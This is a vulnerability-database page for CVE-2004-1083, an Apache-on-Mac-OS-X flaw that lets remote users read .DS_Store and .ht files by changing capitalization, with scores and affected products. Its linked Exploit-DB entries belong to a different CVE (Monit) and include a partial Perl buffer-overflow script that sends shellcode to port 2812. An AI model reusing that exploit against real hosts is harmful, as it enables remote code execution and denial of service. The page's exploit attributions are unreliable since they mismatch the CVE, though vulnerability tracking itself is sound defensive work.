CVE-2004-1083
published 2004-12-03CVE-2004-1083: Apache for Apple Mac OS X 10.2.8 and 10.3.6 restricts access to files in a case sensitive manner, but the Apple HFS+ filesystem accesses files in a case…
PriorityP425high7.5CVSS 3.1
AVNACLPRNUINSUCHINAN
EPSS
1.88%
77.1th percentile
Apache for Apple Mac OS X 10.2.8 and 10.3.6 restricts access to files in a case sensitive manner, but the Apple HFS+ filesystem accesses files in a case insensitive manner, which allows remote attackers to read .DS_Store files and files beginning with ".ht" using alternate capitalization.
Affected
35 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | darwin_streaming_server | — | — |
| apple | darwin_streaming_server | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x | — | — |
| apple | mac_os_x_server | — | — |
| apple | mac_os_x_server | — | — |
| apple | mac_os_x_server | — | — |
| apple | mac_os_x_server | — | — |
| apple | mac_os_x_server | — | — |
| apple | mac_os_x_server | — | — |
| apple | mac_os_x_server | — | — |
CVSS provenance
nvdv3.17.5HIGHCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
nvdv2.05.0MEDIUMAV:N/AC:L/Au:N/C:P/I:N/A:N
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
Monit 4.1 - Remote Buffer Overflow
exploitdb·2004-04-09
CVE-2003-1083 Monit 4.1 - Remote Buffer Overflow
Monit 4.1 - Remote Buffer Overflow
---
#!/usr/bin/perl
#
# monit \n\n";
exit(0);
}
print "HOST:\t$ARGV[0]\n";
print "PORT:\t2812\n";
my $buffer = "B" x 284 . "\xcf\x89\xb3\x40" . $shellcode; # esp mandrake 9.1
#my $buffer = "A" x 284 . "XXXX" . "B" x 100; #dos and debug
print "connecting to server...\n";
$socket = IO::Socket::INET -> new( PeerAddr => $ARGV[0],
PeerPort => 2812,
Proto => "tcp");
if(!defined($socket))
{
print "could not connect :-P\n";
sleep(1);
exit(0);
}
print "connected\n";
sleep(1);
print "sending string\n";
print $socket $buffer;
close $socket;
print "\ndosed!\n";
# milw0rm.com [2004-04-09]
Exploit-DB
Monit 1.4/2.x/3/4 - 'HTTP Request' Buffer Overrun
exploitdb·2003-11-24
CVE-2003-1083 Monit 1.4/2.x/3/4 - 'HTTP Request' Buffer Overrun
Monit 1.4/2.x/3/4 - 'HTTP Request' Buffer Overrun
---
source: https://www.securityfocus.com/bid/9099/info
A buffer overrun vulnerability has been discovered in Monit 4.1 and earlier that could be exploited remotely to gain root privileges. The problem occurs due to insufficient bounds checking when handling overly long HTTP requests. As a result, it may be possible for a remote attacker to corrupt sensitive process data in such a way that the execution flow of Monit can be controlled.
Successful exploitation of this condition could potentially allow for the execution of arbitrary code with root privileges.
// Michel, http://www.cycom.se
#!/usr/bin/perl
#
# Monit 4.1 (possibly earlier too) remote shell exploit (HTTP)
# (C) 2004 by Shadowinteger
#
# Verbatim copying, distribution and/o
No writeups or analysis indexed.
http://lists.apple.com/archives/security-announce/2004/Dec/msg00000.htmlhttp://lists.apple.com/archives/security-announce/2005//Aug/msg00001.htmlhttp://lists.apple.com/archives/security-announce/2005/Aug/msg00000.htmlhttp://secunia.com/advisories/13362/http://www.ciac.org/ciac/bulletins/p-049.shtmlhttp://www.securityfocus.com/bid/11802https://exchange.xforce.ibmcloud.com/vulnerabilities/18348http://lists.apple.com/archives/security-announce/2004/Dec/msg00000.htmlhttp://lists.apple.com/archives/security-announce/2005//Aug/msg00001.htmlhttp://lists.apple.com/archives/security-announce/2005/Aug/msg00000.htmlhttp://secunia.com/advisories/13362/http://www.ciac.org/ciac/bulletins/p-049.shtmlhttp://www.securityfocus.com/bid/11802https://exchange.xforce.ibmcloud.com/vulnerabilities/18348
2004-12-03
Published